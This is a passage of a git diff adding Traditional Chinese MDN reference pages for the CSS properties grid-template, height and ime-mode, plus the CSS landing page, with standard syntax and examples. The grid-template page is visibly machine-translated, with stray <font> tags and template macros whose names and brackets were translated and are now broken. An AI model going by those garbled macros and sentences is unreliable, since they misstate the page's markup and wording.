+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/zh-tw/web/css/grid-template/index.html b/files/zh-tw/web/css/grid-template/index.html
new file mode 100644
index 0000000000..9363bb9e1e
--- /dev/null
+++ b/files/zh-tw/web/css/grid-template/index.html
@@ -0,0 +1,197 @@
+---
+title: grid-template
+slug: Web/CSS/grid-template
+translation_of: Web/CSS/grid-template
+---
+<p><font><font>的</font></font><strong><code>grid-template</code></strong><font><font>CSS屬性是一個</font></font><a href="/en-US/docs/Web/CSS/Shorthand_properties"><font><font>速記屬性</font></font></a><font><font>，用於定義{{詞彙表（“網格列”，“網格列”）}}，{{詞彙表（“網格行”，“行”）}}，和{{詞彙表（“格狀區“，” area“）}}。</font></font></p>
+
+<div><font><font>{{EmbedInteractiveExample（“ pages / css / grid-template.html”）}}</font></font></div>
+
+<p class="hidden"><font><font>該交互式示例的源存儲在GitHub存儲庫中。</font><font>如果您想為交互式示例項目做出貢獻，請克隆</font></font><a href="https://github.com/mdn/interactive-examples"><font><font>https://github.com/mdn/interactive-examples</font></font></a><font><font>並向我們發送請求請求。</font></font></p>
+
+<p><font><font>作者可以為長期屬性設置值：{{cssxref（“ grid-template-rows”）}}，{{cssxref（“ grid-template-columns”）}}和{{cssxref（“ grid-template-areas “）}}。</font></font></p>
+
+<h2 id="句法"><font><font>句法</font></font></h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Keyword value */
+grid-template: none;
+
+/* grid-template-rows / grid-template-columns values */
+grid-template: 100px 1fr / 50px 1fr;
+grid-template: auto 1fr / auto 1fr auto;
+grid-template: [linename] 100px / [columnname1] 30% [columnname2] 70%;
+grid-template: fit-content(100px) / fit-content(40%);
+
+/* grid-template-areas grid-template-rows / grid-template-column values */
+grid-template: "a a a"
+               "b b b";
+grid-template: "a a a" 20%
+               "b b b" auto;
+grid-template: [header-top] "a a a"     [header-bottom]
+                 [main-top] "b b b" 1fr [main-bottom]
+                            / auto 1fr auto;
+
+/* Global values */
+grid-template: inherit;
+grid-template: initial;
+grid-template: unset;
+</pre>
+
+<h3 id="價值觀"><font><font>價值觀</font></font></h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd><font><font>是將所有三個長期屬性設置為的關鍵字</font></font><code>none</code><font><font>，表示沒有顯式網格。</font><font>沒有命名的網格區域。</font><font>行和列將隱式生成；</font><font>它們的大小將由{{cssxref（“ grid-auto-rows”）}}和{{cssxref（“ grid-auto-columns”）}}屬性確定。</font></font></dd>
+ <dt><code>&lt;'grid-template-rows'&gt; / &lt;'grid-template-columns'&gt;</code></dt>
+ <dd><font><font>將{{cssxref（“ grid-template-rows”）}}和{{cssxref（“ grid-template-columns”）}}設置為指定值，並設置{{cssxref（“ grid-template-areas”）} }至</font></font><code>none</code><font><font>。</font></font></dd>
+ <dt><code>[ &lt;line-names&gt;? &lt;string&gt; &lt;track-size&gt;? &lt;line-names&gt;? ]+ [ / &lt;explicit-track-list&gt; ]?</code></dt>
+ <dd>Sets {{cssxref("grid-template-areas")}} to the strings listed, {{cssxref("grid-template-rows")}} to the track sizes following each string (filling in <code>auto</code> for any missing sizes), and splicing in the named lines defined before/after each size, and {{cssxref("grid-template-columns")}} to the track listing specified after the slash (or <code>none</code>, if not specified).<br>
+
+ <p class="note">Note: The {{cssxref("repeat")}} function isn’t allowed in these track listings, as the tracks are intended to visually line up one-to-one with the rows/columns in the “ASCII art”.</p>
+ </dd>
+</dl>
+
+<p class="note"><strong>Note:</strong> The {{cssxref("grid")}} shorthand accepts the same syntax, but also resets the implicit grid properties to their initial values. Use <code>grid</code> (as opposed to <code>grid-template</code>) to prevent these values from cascading in seperately.</p>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css; highlight[5-8] notranslate">#page {
+  display: grid;
+  width: 100%;
+  height: 200px;
+  grid-template: [header-left] "head head" 30px [header-right]
+                 [main-left]   "nav  main" 1fr  [main-right]
+                 [footer-left] "nav  foot" 30px [footer-right]
+                 / 120px 1fr;
+}
+
+header {
+  background-color: lime;
+  grid-area: head;
+}
+
+nav {
+  background-color: lightblue;
+  grid-area: nav;
+}
+
+main {
+  background-color: yellow;
+  grid-area: main;
+}
+
+footer {
+  background-color: red;
+  grid-area: foot;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html notranslate">&lt;section id="page"&gt;
+  &lt;header&gt;Header&lt;/header&gt;
+  &lt;nav&gt;Navigation&lt;/nav&gt;
+  &lt;main&gt;Main area&lt;/main&gt;
+  &lt;footer&gt;Footer&lt;/footer&gt;
+&lt;/section&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples", "100%", "200px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template", "grid-template")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Grid_definition_shorthands">Grid template areas - Grid definition shorthands</a></em></li>
+ <li>Video tutorial:<em> <a href="http://gridbyexample.com/video/grid-template-shorthand/">Grid Template shorthand</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns"><font><font>網格自動列</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow"><font><font>網格自動流</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows"><font><font>網格自動行</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column"><font><font>網格列</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end"><font><font>網格列端</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap"><font><font>網格列間隙</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start"><font><font>網格列開始</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap"><font><font>網格間隙</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row"><font><font>網格行</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end"><font><font>網格行尾</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap"><font><font>網格行間隙</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start"><font><font>網格行開始</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template"><font><font>網格模板</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas"><font><font>網格模板區域</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns"><font><font>網格模板列</font></font></a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows"><font><font>網格模板行</font></font></a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong><font><font>詞彙表</font></font></strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines"><font><font>網格線</font></font></a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks"><font><font>網格軌道</font></font></a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell"><font><font>網格單元</font></font></a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas"><font><font>網格區域</font></font></a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters"><font><font>天溝</font></font></a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows"><font><font>網格行</font></font></a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column"><font><font>網格列</font></font></a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/zh-tw/web/css/height/index.html b/files/zh-tw/web/css/height/index.html
new file mode 100644
index 0000000000..139ec496b6
--- /dev/null
+++ b/files/zh-tw/web/css/height/index.html
@@ -0,0 +1,234 @@
+---
+title: height
+slug: Web/CSS/height
+translation_of: Web/CSS/height
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="概要">概要</h2>
+
+<p><strong><code>高度(height)</code></strong> 的 CSS 屬性指定了元素內容區域的高度。<a href="/en-US/docs/CSS/box_model#content">content area</a> 在元素的留白(padding)、邊框(border) 與 邊界(margin) 內。</p>
+
+<p>{{cssxref("min-height")}} 與 {{cssxref("max-height")}} 的特性比 {{Cssxref("height")}} 更重要。</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush:css">/* Keyword value */
+height: auto;
+
+/* &lt;length&gt; values */
+height: 120px;
+height: 10em;
+
+/* &lt;percentage&gt; value */
+height: 75%;
+
+/* Global values */
+height: inherit;
+height: initial;
+height: unset;
+</pre>
+
+<h3 id="值">值</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>查看 {{cssxref("&lt;length&gt;")}} 可用的單位。</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>{{cssxref("&lt;percentage&gt;")}} 相對於元素的塊狀高度。如果沒有指定塊狀元素的高度，預設值為 <code>auto。</code>用在 root 元素 (e.g. <code>&lt;html&gt;</code>) 上是相對於初始塊狀元素（即顯示器的尺寸）。</dd>
+ <dt><code>border-box </code>{{experimental_inline}}</dt>
+ <dd>If present, the preceding {{cssxref("&lt;length&gt;")}} or {{cssxref("&lt;percentage&gt;")}} is applied to the element's border box.</dd>
+ <dt><code>content-box</code> {{experimental_inline}}</dt>
+ <dd>{{cssxref("&lt;length&gt;")}} 或 {{cssxref("&lt;percentage&gt;")}} 是應用於元素的 content box.</dd>
+ <dt><code>auto</code></dt>
+ <dd>瀏覽器將計算並選擇指定元素的高度。</dd>
+ <dt>fill {{experimental_inline}}</dt>
+ <dd>Use the <code>fill-available</code> inline size or <code>fill-available</code> block size, as appropriate to the writing mode.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>The intrinsic preferred height.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>The intrinsic minimum height.</dd>
+ <dt><code>available</code> {{experimental_inline}}</dt>
+ <dd>The containing block height minus vertical margin, border and padding.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>The larger of:
+ <ul>
+  <li>the intrinsic minimum height</li>
+  <li>the smaller of the intrinsic preferred height and the available height</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="正式語法">正式語法</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="red"&gt;
+  &lt;span&gt;I'm 50 pixels tall.&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="green"&gt;
+  &lt;span&gt;I'm 25 pixels tall.&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    &lt;span&gt;I'm half the height of my parent.&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 3px solid #999999;
+}
+
+#red {
+  height: 50px;
+}
+
+#green {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-width-and-height-properties', 'height')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Added the <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code> keywords.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Lists <code>height</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Adds support for the {{cssxref("&lt;length&gt;")}} values and precises on which element it applies to.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Adds new sizing keywords for width and height.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器兼容性">瀏覽器兼容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>fill</code>, <code>fit-content</code>, <code>min-content</code>, <code>max-content</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>fill</code>, <code>fit-content</code>, <code>min-content</code>, <code>max-content</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/box_model">box model</a>, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/ime-mode/index.html b/files/zh-tw/web/css/ime-mode/index.html
new file mode 100644
index 0000000000..a487af23e0
--- /dev/null
+++ b/files/zh-tw/web/css/ime-mode/index.html
@@ -0,0 +1,56 @@
+---
+title: ime-mode
+slug: Web/CSS/ime-mode
+tags:
+  - CSS
+translation_of: Web/CSS/ime-mode
+---
+<p> {{ CSSRef() }}
+{{ Fx_minversion_header(3) }}
+</p>
+<h3 id=".E6.91.98.E8.A6.81" name=".E6.91.98.E8.A6.81"> 摘要 </h3>
+<p><code>ime-mode</code> 特性可用以控制某文字輸入欄位的輸入法狀態。
+</p>
+<ul><li> {{ Xref_cssinitial() }}：{{ Cssxref("auto") }}
+</li><li> 適用範圍：文字輸入欄位
+</li><li> {{ Xref_cssinherited() }}: 不繼承
+</li><li> 是否可標百分比：N/A
+</li><li> 適用媒體：{{ Xref_cssvisual() }}
+</li><li> {{ Xref_csscomputed() }}：
+</li></ul>
+<h3 id=".E8.AA.9E.E6.B3.95" name=".E8.AA.9E.E6.B3.95"> 語法 </h3>
+<pre class="eval">ime-mode: &lt;mode&gt;
+</pre>
+<h3 id=".E7.89.B9.E6.80.A7.E5.80.BC" name=".E7.89.B9.E6.80.A7.E5.80.BC"> 特性值 </h3>
+<dl><dt> <code>auto</code></dt><dd> 不改變輸入法狀態，此為預設值。
+</dd><dt> <code>normal</code></dt><dd> 輸入法設為一般狀態，使用者可在自訂樣式表中蓋過網頁的設定。<i>Internet Explorer 不支援此值。</i>
+</dd><dt> <code>active</code></dt><dd> 輸入法設為啟用狀態。除非使用者刻意關閉、否則此文字欄位將使用輸入法工具。<i>Linux 不支援此值。</i>
+</dd><dt> <code>inactive</code></dt><dd> 輸入法設為關閉狀態，但使用者仍可另行啟用。<i>Linux 不支援此值。</i>
+</dd><dt> <code>disabled</code></dt><dd> 輸入法設為停用狀態，在此欄位中使用者亦無法將其啟用。
+</dd></dl>
+<h3 id=".E7.AF.84.E4.BE.8B" name=".E7.AF.84.E4.BE.8B"> 範例 </h3>
+<pre>&lt;input type="text" name="name" value="initial value" style="ime-mode: disabled"&gt;
+</pre>
+<p>此範例在輸入欄位中設定為停用輸入法，在後端資料庫不支援擴充字元集、卻必須讓使用者自行輸入文字時，可以使用。
+</p>
+<h3 id=".E5.82.99.E8.A8.BB" name=".E5.82.99.E8.A8.BB"> 備註 </h3>
+<p>與 Internet Explorer 不同的地方是，Firefox 實作 <code>ime-mode</code> 時亦允許此特性套用至密碼輸入欄位，但這在理想的使用體驗上有不妥之處、而密碼欄位也應該停用輸入法。若有網站執意將不適切的行為套用至密碼欄位，則使用者可以在自訂 CSS 檔中加上下列設定以強迫調整此功能：
+</p>
+<pre>input[type=password] {
+	ime-mode: auto !important;
+}
+</pre>
+<p>{{ Note("一般說來，公開的網站不該自行調整輸入法模式的行為。這個特性主要是給網際應用程式使用的。") }}
+</p><p>Mac 版的 Gecko 1.9 中，若某欄位設定停用輸入法，則自該欄位移開輸入焦點時並無法自行恢復輸入法狀態，所以若使用 <code>disabled</code> 值，Mac 的使用者可能會碰上麻煩。
+</p><p>{{ Note("別僅僅仰賴停用輸入法的招術來避免使用者輸入擴充字元，因為即使輸入法被停用，使用者依然可自他處剪下擴充字元後貼到表單欄位中。") }}
+</p>
+<h3 id=".E8.A6.8F.E6.A0.BC.E5.87.BA.E8.99.95" name=".E8.A6.8F.E6.A0.BC.E5.87.BA.E8.99.95"> 規格出處 </h3>
+<ul><li> <a class="external" href="http://msdn2.microsoft.com/en-us/library/ms533883.aspx">微軟規格</a>
+</li></ul>
+<h3 id=".E7.80.8F.E8.A6.BD.E5.99.A8.E7.9B.B8.E5.AE.B9.E6.80.A7" name=".E7.80.8F.E8.A6.BD.E5.99.A8.E7.9B.B8.E5.AE.B9.E6.80.A7"> 瀏覽器相容性 </h3>
+<p>Firefox 3 以後便能同 Internet Explorer 一般支援 <code>ime-mode</code> 特性。
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/ime-mode", "es": "es/CSS/ime-mode", "fr": "fr/CSS/ime-mode", "ja": "ja/CSS/ime-mode" } ) }}
diff --git a/files/zh-tw/web/css/index.html b/files/zh-tw/web/css/index.html
new file mode 100644
index 0000000000..f894fc2d6a
--- /dev/null
+++ b/files/zh-tw/web/css/index.html
@@ -0,0 +1,100 @@
+---
+title: CSS
+slug: Web/CSS
+tags:
+  - CSS
+  - Cascading Style Sheets
+  - Design
+  - Landing
+  - Layout
+  - Reference
+  - Style Sheets
+  - Styles
+  - Stylesheets
+  - 樣式表
+  - 版面配置
+  - 設計
+translation_of: Web/CSS
+---
+<p class="summary"><span class="seosummary="><strong>層疊樣式表（Cascading Style Sheets, CSS）</strong>是用來描述 <a href="/zh-TW/docs/HTML" title="HyperText Markup Language">HTML</a> 或 <a href="/zh-TW/docs/XML" title="zh-TW/docs/XML">XML</a>（包含 <a href="/zh-TW/docs/SVG" title="zh-TW/docs/SVG">SVG</a> 或 <a href="/zh-TW/docs/XHTML" title="zh-TW/docs/XHTML">XHTML</a> 等各種 XML 變形）文件外觀的<a href="/zh-TW/docs/DOM/stylesheet">樣式表</a>語言。CSS 會描述文件裡的結構化元素，該如何呈現在螢幕、紙、語音報讀、或其他媒介上。</span></p>
+
+<p><strong>CSS</strong> 是<strong>開放網路</strong>的核心語言之一，具有標準化的 <a class="external" href="http://w3.org/Style/CSS/#specs">W3C 規範</a>。歷經不同層級的開發，CSS1 目前已被棄用、CSS2.1 是建議規範，而 <a href="/zh-TW/docs/CSS/CSS3" title="CSS3">CSS3</a> 目前被分作數個較小的模組，持續在標準化的路上行進。</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>CSS 介紹</span>
+
+  <p>若你剛接觸網路開發，請確定讀過我們的 <a href="/zh-TW/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基礎</a>以了解何謂 CSS 並知道要怎麼用。</p>
+ </li>
+ <li><span>CSS 教學</span>
+  <p>我們的 <a href="/zh-TW/docs/Learn/CSS">CSS 學習專區</a>包含所有必要的基礎資訊，能讓你從完全新手開始，帶向熟悉 CSS。</p>
+ </li>
+ <li><span>CSS 參考</span>
+  <p>這是給經驗豐富的網頁開發者的<a href="/zh-TW/docs/Web/CSS/Reference" title="zh-TW/docs/CSS/CSS_Reference">完整參考資訊</a>，說明 CSS 的每一個屬性與概念。</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="教學">教學</h2>
+
+<p>我們的 <a href="/zh-TW/docs/Learn/CSS">CSS 學習專區</a>有很多從頭教起的 CSS 模組。你不需要背景知識。</p>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/CSS/Introduction_to_CSS">CSS 介紹</a></dt>
+ <dd>此模組讓你理解 CSS 工作原理，包含選擇器與屬性、撰寫 CSS 規則、在 HTML 套用 CSS、如何在 CSS 指定長度、色彩、還有其它單位、階層與繼承、box model 基礎、以及針對 CSS 除錯。</dd>
+ <dt><a href="/zh-TW/docs/Learn/CSS/Styling_text">文字樣式</a></dt>
+ <dd>在這裡我們專注在文字樣式的基礎，包含設定字體、粗細、斜體、行距、字距、陰影以及其他文字屬性。最後以應用自訂字體、樣式化列表、樣式化連結結束。</dd>
+ <dt><a href="/zh-TW/docs/Learn/CSS/Styling_boxes">樣式化盒子</a></dt>
+ <dd>接著，我們關注樣式化盒子，這是網頁排版中一個基礎的環節。在這個系列中我們會複習盒子模型，然後操作盒子的排版，像是設定留白、邊框、邊距、背景顏色或圖片以及其他特色，還有一些酷炫的功能像是陰影、過濾器。</dd>
+ <dt><a href="/zh-TW/docs/Learn/CSS/CSS_layout">CSS 排版</a></dt>
+ <dd>到了這裡，我們已經看完 CSS 的基礎（樣式化文字、樣式化與操作盒子使你的內容可以合適的展示）。<span class="not-sure">現在該來看看如何把你的盒子放在相對於可視區正確的地方。我們已經擁有必要的知識，所以你可以更深入了解 CSS 排版、看不同的顯示設定、傳統排版方法如浮動或定位、新的排版方法如彈性盒子。</span></dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="參考">參考</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/CSS/Reference">CSS 參考</a>：一個詳細的參考資料，為資深網頁開發人員設計，包含 CSS 各種屬性和觀念。</li>
+ <li>CSS 關鍵概念：
+  <ul>
+   <li><a href="/zh-TW/docs/CSS/Syntax">語法</a></li>
+   <li><a href="/zh-TW/docs/CSS/Specificity">權重</a>和<a href="/zh-TW/docs/CSS/inheritance">繼承</a></li>
+   <li><a href="/zh-TW/docs/CSS/box_model">盒子模型</a>和<a href="/zh-TW/docs/CSS/margin_collapsing">邊框的崩潰</a></li>
+   <li><a href="/zh-TW/docs/CSS/Understanding_z-index/The_stacking_context" title="The stacking context">堆疊</a>和<a href="/zh-TW/docs/CSS/block_formatting_context" title="block formatting context">格式化區塊</a></li>
+   <li><a href="/zh-TW/docs/CSS/initial_value">初始值</a> 、<a href="/zh-TW/docs/CSS/computed_value">計算值（computed）</a>、 <a href="/zh-TW/docs/CSS/used_value">使用值（used）</a>和<a href="/zh-TW/docs/CSS/actual_value">運作值</a></li>
+   <li><a href="/zh-TW/docs/CSS/Shorthand_properties">CSS 簡寫屬性</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS 彈性盒子排版</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout">CSS 格線排版</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/Media_Queries">媒體查詢</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 class="Tools" id="CSS_開發工具">CSS 開發工具</h2>
+
+<ul>
+ <li>The <a class="external" href="http://jigsaw.w3.org/css-validator/">W3C CSS 驗證服務</a> 能檢查 CSS 的有效性。<a href="http://www.onlinewebcheck.com/">OnlineWebCheck.com</a> 也在做相同的事情。它們都是很重要的除錯工具。</li>
+ <li><a href="/zh-TW/docs/Tools">Firefox 開發者工具</a>能透過<a href="/zh-TW/docs/Tools/Page_Inspector">頁面檢測器</a>與<a href="/zh-TW/docs/Tools/Style_Editor">樣式編輯器</a>直接觀察、編輯網頁的 CSS。</li>
+ <li>Firefox 的<a class="link-https" href="https://addons.mozilla.org/zh-TW/firefox/addon/1843">Firebug 套件</a>，navigator 裡面，能直接觀察、編輯網頁的 CSS 的人氣套件。要測試某些變化的時候會非常實用，而這套件還能做得更多。</li>
+ <li>Firefox 的<a class="link-https" href="https://addons.mozilla.org/zh-TW/firefox/addon/60">Web Developer 套件</a> 也能能直接觀察、編輯網頁的 CSS。與 Firebug 相比更簡單、但相比下也沒那麼強大。</li>
+ <li><a href="/zh-TW/docs/Web/CSS/Tools">其他 CSS 工具。</a></li>
+</ul>
+
+<h2 id="Meta_錯誤">Meta 錯誤</h2>
+
+<ul>
+ <li>Firefox: {{bug(1323667)}}</li>
+</ul>
+</div>
+</div>
+</section>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/Demos_of_open_web_technologies#CSS">CSS demos</a> 最新的 CSS 技術動向：給予創意的一拔。</li>
